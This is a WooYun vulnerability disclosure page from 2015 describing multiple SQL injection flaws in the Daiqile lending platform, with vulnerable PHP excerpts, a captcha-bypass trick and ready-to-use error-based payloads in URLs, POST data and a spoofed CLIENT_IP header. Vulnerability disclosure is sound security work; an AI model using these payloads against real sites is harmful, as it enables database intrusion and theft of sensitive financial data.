当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(21) 关注此漏洞

缺陷编号: WooYun-2015-132558

漏洞标题: 贷齐乐系统多处SQL注入漏洞可影响到敏感数据(续)

相关厂商: chinaanhe.com

漏洞作者: loopx9认证白帽子

提交时间: 2015-08-08 09:38

公开时间: 2015-11-06 11:08

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-08: 细节已通知厂商并且等待厂商处理中
2015-08-08: 厂商已经确认,细节仅向厂商公开
2015-08-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-02: 细节向核心白帽子及相关领域专家公开
2015-10-12: 细节向普通白帽子公开
2015-10-22: 细节向实习白帽子公开
2015-11-06: 细节向公众公开

简要描述:

注入真多,可能有重复的。

详细说明:

看到 http://**.**.**.**/bugs/wooyun-2015-0132043于是也下载了一套看了下。

注入漏洞确实很多。

0x1 不正确url解码(urldecode、rawurldecode):

文件: \modules\member\index_ruizhict.php:

code 区域
# 检查邮箱是否被注册
elseif ($_U['query_class'] == 'check_email'){
$email = urldecode($_REQUEST['email']);
$sql = "select * from {user} where email='{$email}'";
$result = $mysql->db_fetch_array($sql);

if ($result == false){
echo true;exit;
}else{
echo false;exit;
}
}

对$_REQUEST['email']进行url解码然后带入sql,很明显的注入。再来看下$_REQUEST变量。

文件\core\safe.inc.php对$_REQUEST重新进行了注册:

code 区域
$request_uri = explode("?",$_SERVER['REQUEST_URI']);
if(isset($request_uri[1])){
$rewrite_url = explode("&",$request_uri[1]);
foreach ($rewrite_url as $key => $value){
$_value = explode("=",$value);
if (isset($_value[1])){
$_REQUEST[$_value[0]] = addslashes($_value[1]);
}
}
}

直接从$_SERVER['REQUEST_URI']取值,可以url编码引号,绕过addslashes。

利用方式:

请求url:

code 区域
/index.php?user&q=action/check_email&email=%27or%28updatexml%281,concat%280x7e,user%28%29%29,1%29%29%23

同样问题的还有:

/index.php?user&q=code/user/addfriend&username=ad%27 (需要登录)

文件\index.php:

code 区域
/**处理表单*/
elseif ($_G['query_site'] == "actions" ){
if (isset($_POST['valicode'])){
if ($_POST['valicode']!=$_SESSION['valicode']){
echo "<script>alert('验证码不正确');history.go(-1);</script>";
}else{
$data= array();
foreach ($_POST as $key => $value){
$data[$key] = $_POST[$key];
}
unset($data['valicode']);
$_re = explode("/",$_REQUEST['q']);
$_classname = $_re[1]."Class";
include_once("modules/{$_re[1]}/{$_re[1]}.class.php");
$_cn = new $_classname();
$result = $_cn->$_re[2]($data);
if ($result!=true){
echo "<script>alert('操作错误');history.go(-1);</script>";
}else{
echo "<script>alert('操作成功');history.go(-1);</script>";
}
}
}
}

提供了一个调用接口,可以很方便的调用modules下的类以及方法,这样漏洞利用就很方便了。

code 区域
modules\fee\fee.class.php
\modules\borrow\borrow.class.php
modules\borrowline\borrowline.class.php

都存在urldecode导致的注入漏洞,漏洞函数GetList:

利用方式:

请求url:

code 区域
/index.php?actions&q=/borrow/GetList     /index.php?actions&q=/fee/GetList
post参数: valicode=&keywords=%2527

valicode为空绕过session判断。

code 区域
/index.php?actions&q=/borrowline/GetList&keywords=%27
post参数: valicode=&keywords=request



0x2 数字类型注入(参数进入sql语句没有引号保护):

文件:modules\dwbbs\dwbbs.inc.php

code 区域
//所有帖子处理
if ( $q == "postmanager"){
$data['id'] = $_REQUEST['tid'];
if(empty($_REQUEST['tid'])){
$data['id'] = $_REQUEST['postid'];
$_G['bbs_post_result'] = dwbbsClass::GetPostsOne($data);
}else{
$_G['bbs_post_result'] = dwbbsClass::GetTopicsOne($data);
}
if($_REQUEST['action'] == "movePost"){
$result = dwbbsClass::ActionForum();
if ($result !=false){
$_result = "";
foreach ($result as $key => $value){
if ($value['pid']==0){
$_result .= "<optgroup label='{$value['name']}'></optgroup>";
}else{
$_result .= "<option value='{$value['id']}'>{$value['aname']}</option>";
}
}
$magic->assign("_result",$_result);
}
}

数字类型的太多了:

code 区域
/index.php?bbs&q=postmanager&tid=(select(0)from(select(updatexml(1,concat(0x7e,user()),1)))v)
/index.php?bbs&q=reply&tid=(select(0)from(select(updatexml(1,concat(0x7e,user()),1)))v)
/index.php?home&user_id=(select(0)from(select(updatexml(1,concat(0x7e,user()),1)))v)
/index.php?action&s=(select(0)from(select(updatexml(1,concat(0x7e,user()),1)))v)





0x3 http头ip注入:

文件:\core\function.inc.php: ip_address函数:

code 区域
/**
* 获取IP地址
*/
function ip_address() {
if(!empty($_SERVER["HTTP_CLIENT_IP"])) {
$ip_address = $_SERVER["HTTP_CLIENT_IP"];
}else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
$ip_address = array_pop(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']));
}else if(!empty($_SERVER["REMOTE_ADDR"])){
$ip_address = $_SERVER["REMOTE_ADDR"];
}else{
$ip_address = '';
}
return $ip_address;
}

ip没有过滤。

漏洞证明:

code 区域
http://**.**.**.**/index.php?user&q=action/check_email&email=%27or%28updatexml%281,concat%280x7e,user%28%29%29,1%29%29%23
http://**.**.**.**/index.php?user&q=action/check_email&email=%27or%28updatexml%281,concat%280x7e,user%28%29%29,1%29%29%23
http://**.**.**.**/index.php?user&q=action/check_email&email=%27or%28updatexml%281,concat%280x7e,user%28%29%29,1%29%29%23

2.jpg



code 区域
http://**.**.**.**/index.php?actions&q=/borrow/GetList
post data: valicode=&keywords=%2527xor updatexml%25281,concat%25280x7e,user%2528%2529%2529,1%2529 xor%2527

1.jpg



code 区域
http://**.**.**.**/index.php?actions&q=/borrowline/GetList&keywords=%27or%28updatexml%281,concat%280x7e,user%28%29%29,1%29%29%23
post data: valicode=&keywords=request

3.jpg



数字类型注入:

code 区域
http://**.**.**.**/index.php?bbs&q=postmanager&tid=(select(0)from(select(updatexml(1,concat(0x7e,user()),1)))v)
http://**.**.**.**/index.php?bbs&q=reply&tid=(select(0)from(select(updatexml(1,concat(0x7e,user()),1)))v)
http://**.**.**.**/index.php?home&user_id=(select(0)from(select(updatexml(1,concat(0x7e,user()),1)))v)
http://**.**.**.**/index.php?action&s=(select(0)from(select(updatexml(1,concat(0x7e,user()),1)))v)

4.jpg



ip头注入:

code 区域
GET /index.php?user&q=action/login HTTP/1.0
Host: **.**.**.**
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
CLIENT_IP: '+updatexml(1,concat('~',user()),1)#

6.jpg

修复方案:

。。注入太多了。。

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-08 11:07

厂商回复:

感觉测试,你测试的都是贷齐乐盗版客户,这些用户没有买过我们的系统,应该是网上下载的2年前的版本

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-12 17:03 | 小龙 ( 普通白帽子 | Rank:2134 漏洞数:466 | 我就问,还有谁!!!!!!!!!!!!!...)
    0

    注入牛,给跪下了

  2. 2015-11-06 12:47 | Sakura丶小樱 ( 路人 | Rank:4 漏洞数:2 | <script>alert(document.cookit)</script>)
    0

    感觉测试,你测试的都是贷齐乐盗版客户,这些用户没有买过我们的系统,应该是网上下载的2年前的版本

  3. 2015-11-23 23:23 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    典型的绕过waf手段

登录后才能发表评论,请先 登录